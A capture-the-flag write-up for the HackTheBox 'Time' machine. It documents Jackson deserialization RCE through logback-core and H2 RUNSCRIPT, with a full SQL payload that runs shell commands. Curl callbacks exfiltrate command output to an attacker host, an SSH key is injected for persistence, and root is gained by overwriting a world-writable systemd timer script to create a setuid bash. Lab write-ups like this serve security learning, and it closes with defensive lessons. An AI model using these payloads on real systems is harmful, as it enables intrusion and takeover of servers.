HTB: Time Writeup
Time - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Time |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 24 Oct 2020 |
| IP Address | 10.129.43.169 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐☆☆☆
Summary
Time is a medium-difficulty Linux machine that showcases a realistic attack path involving Java deserialization vulnerabilities and misconfigured system services. The initial foothold exploits a Jackson polymorphic deserialization vulnerability (CVE-2019-12384 family) in an online JSON validation service. By leveraging the logback-core gadget chain with H2 database’s RUNSCRIPT functionality, we achieve remote code execution as user pericles. Privilege escalation is achieved by exploiting a world-writable systemd timer script that runs with root privileges, allowing us to create a setuid binary for root access.
TL;DR: JSON validator → Jackson deserialization (logback + H2 JDBC) → RCE as pericles → world-writable systemd timer script → setuid bash → root
Reconnaissance
Port Scanning
# Initial fast scan for open portsnmap -p- --min-rate=1000 -T4 10.129.43.169
# Detailed service enumeration on discovered portsnmap -sC -sV -p22,80 10.129.43.169Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Online JSON parserOnly two ports are exposed: SSH on port 22 and HTTP on port 80. The web server is running Apache httpd 2.4.41 on Ubuntu.
Service Enumeration
HTTP (Port 80)
Browsing to http://10.129.43.169 reveals an “Online JSON parser” application with two modes available via a dropdown menu:
- Beautify - Formats JSON input
- Validate (beta!) - Validates JSON structure
Testing with basic JSON input {"title": "test"}:
- Beautify mode successfully formats the JSON
- Validate mode returns a Java exception:
Validation failed: Unhandled Java exception:com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token(START_OBJECT), expected START_ARRAY: need JSON Array to containAs.WRAPPER_ARRAY type information for class java.lang.ObjectVulnerability Assessment
The error message reveals several critical pieces of information:
- Framework: The application uses Jackson (Fasterxml jackson-databind) for JSON processing
- Vulnerability: The error
MismatchedInputExceptionwithAs.WRAPPER_ARRAYindicates polymorphic deserialization is enabled - Attack Surface: The beta validation endpoint accepts arbitrary user input and deserializes it
This is a classic Jackson deserialization vulnerability affecting multiple CVEs:
- CVE-2019-14439
- CVE-2019-12814
- CVE-2019-12384
The jackson-databind library allows type information to be embedded in JSON arrays, which can be abused to instantiate arbitrary classes if vulnerable “gadget” classes are present in the application’s classpath.
Initial Foothold
Understanding the Jackson Deserialization Vulnerability
Jackson’s polymorphic deserialization feature allows JSON arrays to specify class types that should be instantiated. When enabled without proper filtering, this can be exploited if:
- The application accepts arbitrary user input (✓ confirmed)
- A vulnerable “gadget” class exists in the classpath (must be discovered)
The key is finding a gadget class that:
- Is not blocked by Jackson’s blacklist
- Can be abused to achieve code execution
Identifying the Exploitation Path
Research into Jackson CVEs reveals that the logback-core library (commonly used for logging in Java applications) was not initially blacklisted and contains exploitable gadgets. Specifically, the ch.qos.logback.core.db.DriverManagerConnectionSource class can:
- Initialize JDBC (Java Database Connectivity) connections
- Connect to attacker-controlled database servers
- Execute database initialization scripts
The H2 database engine (widely used in Java applications) provides a powerful feature: INIT=RUNSCRIPT FROM '<URL>' which executes SQL scripts from remote URLs. Combined with H2’s CREATE ALIAS feature, we can execute arbitrary Java code.
Testing Connectivity
First, set up an HTTP server to capture connection attempts:
# Start HTTP server on port 9191 (port 8000 was occupied)python3 -m http.server 9191Send a test payload to the validation endpoint:
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;INIT=RUNSCRIPT FROM 'http://10.10.15.180:9191/'"}]Success: The HTTP server receives a connection request, confirming:
- The
logback-coregadget is available - H2 database engine is present
- JDBC connections can reach our server
Crafting the RCE Payload
Create an SQL script that leverages H2’s CREATE ALIAS to define a function executing arbitrary shell commands:
# Create rce.sql in the HTTP server directorycat > rce.sql << 'EOF'CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";}$$;CALL SHELLEXEC('curl http://10.10.15.180:9191/rce_callback')EOFHow this works:
CREATE ALIASdefines a custom SQL function in H2- The function’s body is Java code that executes system commands
Runtime.getRuntime().exec(command)executes bash with our command- The Scanner captures the output stream
Confirming RCE
Trigger the SQL execution with:
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;INIT=RUNSCRIPT FROM 'http://10.10.15.180:9191/rce.sql'"}]The HTTP server receives a connection to /rce_callback, confirming command execution. Modify the payload to identify the user:
CALL SHELLEXEC('curl http://10.10.15.180:9191/$(id)')The server receives:
GET /uid=1000(pericles) HTTP/1.1We have RCE as user pericles (uid=1000).
Establishing Persistent Access
Rather than dealing with unreliable reverse shells, inject an SSH key for stable access:
# Generate ED25519 SSH keypairssh-keygen -t ed25519 -f time_key -N ''
# Create the SQL payload to inject our public keycat > rce.sql << 'EOF'CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";}$$;CALL SHELLEXEC('mkdir -p /home/pericles/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFfQ..." > /home/pericles/.ssh/authorized_keys && chmod 700 /home/pericles/.ssh && chmod 600 /home/pericles/.ssh/authorized_keys')EOFSend the trigger payload again, then connect:
# Connect via SSHssh -i time_key pericles@10.129.43.169Success: We have a stable shell as pericles.
pericles@time:~$ iduid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
pericles@time:~$ cat user.txt<redacted>Privilege Escalation
Enumeration
Begin with manual enumeration focusing on common privilege escalation vectors:
# Check for SUID binariesfind / -perm -4000 -type f 2>/dev/null
# Check for capabilitiesgetcap -r / 2>/dev/null
# Check for interesting systemd timers (non-standard timers often misconfigured)systemctl list-timers --allThe systemctl list-timers output reveals an unusual timer:
NEXT LEFT LAST PASSED UNIT ACTIVATESTue 2024-01-16 14:23:45 UTC 8s left Tue 2024-01-16 14:23:35 UTC 1s ago timer_backup.timer timer_backup.serviceA non-standard timer named timer_backup.timer fires approximately every 10 seconds. Let’s investigate:
# Examine the timer configurationpericles@time:~$ systemctl cat timer_backup.timer[Unit]Description=Backup of the websiteRequires=timer_backup.service
[Timer]# Timer settings go here, firing roughly every 10 secondsOnBootSec=0minOnCalendar=*:0/1
[Install]WantedBy=timers.targetThis timer triggers timer_backup.service. Check the service:
pericles@time:~$ systemctl cat timer_backup.service[Unit]Description=Backup of the websiteRequires=web_backup.service
[Service]Type=oneshotExecStart=/bin/bash /usr/bin/timer_backup.sh
[Install]WantedBy=multi-user.targetThe service executes /usr/bin/timer_backup.sh as root (systemd services run as root by default unless specified otherwise). Check the script permissions:
pericles@time:~$ ls -la /usr/bin/timer_backup.sh-rwxrw-rw- 1 pericles pericles 88 Jul 20 2020 /usr/bin/timer_backup.shCritical finding: The script is:
- World-writable (
-rw-rw-) - Owned by pericles (not root)
- Executed by root via the systemd service every ~10 seconds
This is a textbook privilege escalation opportunity.
Exploitation Strategy
Rather than attempting a reverse shell (which can be unstable), we’ll use the classic setuid binary approach:
- Copy
/bin/bashto a temporary location - Set the setuid bit (allows execution with owner’s privileges)
- Execute the setuid bash to gain root
Executing the Privilege Escalation
Note: The jump box’s /tmp was at 100% capacity, preventing normal file operations. As a workaround, we use /dev/shm (shared memory) which is not subject to disk quotas:
# Overwrite the timer_backup.sh scriptpericles@time:~$ echo 'cp /bin/bash /dev/shm/rootbash && chmod u+s /dev/shm/rootbash' > /usr/bin/timer_backup.sh
# Verify the modificationpericles@time:~$ cat /usr/bin/timer_backup.shcp /bin/bash /dev/shm/rootbash && chmod u+s /dev/shm/rootbash
# Wait for the timer to fire (max ~10 seconds)pericles@time:~$ watch -n 1 'ls -la /dev/shm/rootbash 2>/dev/null'After the timer executes:
pericles@time:~$ ls -la /dev/shm/rootbash-rwsr-xr-x 1 root root 1183448 Jan 16 14:24 /dev/shm/rootbashThe setuid bit (s) is set and the binary is owned by root. Execute it:
# Execute with -p flag to preserve effective UID (root)pericles@time:~$ /dev/shm/rootbash -p
rootbash-5.0# iduid=1000(pericles) gid=1000(pericles) euid=0(root) egid=0(root) groups=0(root),1000(pericles)
rootbash-5.0# cat /root/root.txt<redacted>Success: We have effective UID 0 (root) and can read the root flag.
Understanding the Privilege Escalation
This vulnerability exists because:
- Systemd services run as root by default unless
User=is specified in the service file - The script permissions were misconfigured - world-writable and owned by a non-privileged user
- No integrity checks were performed before execution
- The timer runs frequently (~10s intervals), providing a quick exploitation window
This is a common misconfiguration in production environments where:
- Backup scripts are hastily created
- Proper file permissions are overlooked
- Services are not run with least privilege
Attack Chain Summary
Port 80 JSON Parser (Beautify/Validate) ↓MismatchedInputException reveals Jackson polymorphic deserialization ↓Test logback-core DriverManagerConnectionSource gadget with H2 JDBC ↓HTTP callback confirms connectivity to attacker server ↓H2 RUNSCRIPT + CREATE ALIAS → arbitrary Java code execution ↓RCE as pericles (uid=1000) confirmed via curl callback ↓Inject SSH ed25519 public key to /home/pericles/.ssh/authorized_keys ↓Stable SSH shell as pericles → user.txt ↓Enumerate systemd timers → find timer_backup.timer (every ~10s) ↓timer_backup.service executes /usr/bin/timer_backup.sh as root ↓Script is world-writable (-rwxrw-rw-) owned by pericles ↓Overwrite script to: cp /bin/bash /dev/shm/rootbash && chmod u+s /dev/shm/rootbash ↓Wait for timer to fire → setuid bash created as root ↓Execute /dev/shm/rootbash -p → euid=0 → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
python3 -m http.server | HTTP server to serve SQL payload and receive callbacks |
ssh-keygen | Generate ED25519 SSH keypair for persistent access |
systemctl | Enumerate and investigate systemd timers and services |
curl | Test RCE via HTTP callbacks (executed on target) |
H2 Database RUNSCRIPT | Execute remote SQL scripts via JDBC |
H2 CREATE ALIAS | Define custom SQL functions with Java code |
Key Learnings
Techniques Practiced
- Jackson deserialization exploitation using polymorphic type handling
- Java gadget chain analysis (logback-core + H2 database)
- JDBC abuse for remote code execution via database initialization scripts
- H2 database features (RUNSCRIPT, CREATE ALIAS) for code execution
- Systemd timer enumeration for privilege escalation opportunities
- Setuid binary creation for stable privilege escalation
- SSH key injection for persistent access without reverse shells
Lessons Learned
-
Beta features are often vulnerable: The “Validate (beta!)” label was a clear indicator of potentially insecure functionality. In production environments, beta features should be thoroughly tested and ideally not exposed publicly.
-
Error messages leak valuable information: The Java exception revealed the exact framework (Jackson), the vulnerable feature (polymorphic deserialization), and even the expected input format. Proper error handling should never expose stack traces to end users.
-
Deserialization vulnerabilities are powerful: Java deserialization, when combined with the right gadget chains, provides a direct path from user input to code execution. Modern applications should avoid deserializing untrusted data or use strict allowlists.
-
H2 database is a common exploitation vector: The H2 database engine’s powerful features (RUNSCRIPT, CREATE ALIAS, INIT parameters) make it an attractive gadget for exploitation when present in the classpath. Its convenience for development makes it prevalent in production systems.
-
File permissions matter for automation: The world-writable script executed by a root-owned systemd timer is a critical misconfiguration. Automated tasks should:
- Run with least privilege (specify
User=in systemd units) - Use scripts with restrictive permissions (0700, owned by root)
- Implement integrity checks (digital signatures, checksums)
- Run with least privilege (specify
-
Systemd timers are often overlooked: While cron jobs are commonly checked during enumeration, systemd timers can be forgotten. Always run
systemctl list-timers --allon modern Linux systems. -
Setuid binaries provide stable privilege escalation: Unlike reverse shells that can break or timeout, a setuid binary provides a reliable, repeatable path to elevated privileges as long as the file persists.
-
Environment constraints require adaptation: The full
/tmppartition required pivoting to/dev/shmfor file operations. Always have backup strategies when standard directories are unavailable.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Official HackTheBox Writeup for Time (Machine Author: egotisticalSW & felamos) - Document No D21.100.112
- CVE-2019-12384: Jackson-databind polymorphic typing issue (logback-core)
- CVE-2019-14439: Jackson-databind polymorphic typing issue
- CVE-2019-12814: Jackson-databind polymorphic typing issue
- H2 Database Documentation: RUNSCRIPT and CREATE ALIAS features
- Systemd documentation: Timer and Service unit configuration